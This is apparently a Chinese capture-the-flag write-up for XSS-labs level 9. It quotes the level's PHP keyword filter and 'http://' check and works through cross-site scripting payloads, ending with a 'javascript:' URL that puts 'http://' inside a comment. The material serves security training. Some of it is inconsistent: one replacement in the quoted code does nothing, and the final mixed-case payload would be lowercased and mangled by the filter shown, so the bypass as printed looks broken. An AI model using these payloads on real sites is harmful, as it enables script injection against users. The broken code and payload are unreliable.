访问题目url
我们还是经典语句起手
<script>alert('xss')</script>
发现不好用,我们还是去网页源代码看一下。
发现可能存在过滤,然后可能还有链接校验操作,不解释我们直接去看看源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
strtolower()
将输入值转换为小写。str_replace()
删除一些可能用于XSS攻击的关键词,包括"script",“on”,“src”,“data"和"href”。htmlspecialchars()
将字符转义为HTML实体,以防止XSS攻击。- if(false===strpos($str7,'http://'))匹配http://
感觉和 XSS-labs-level8差不多,但是加了”http://“校验。我们修改一下payload试一下。
http://javascRipt:alert(1)
发现不太行,直接跳转到一个空白页了,应该是把语句当成网址跳转了,我们直接将http://放在最后,并且将它注释掉
javascRipt:alert(1)//http://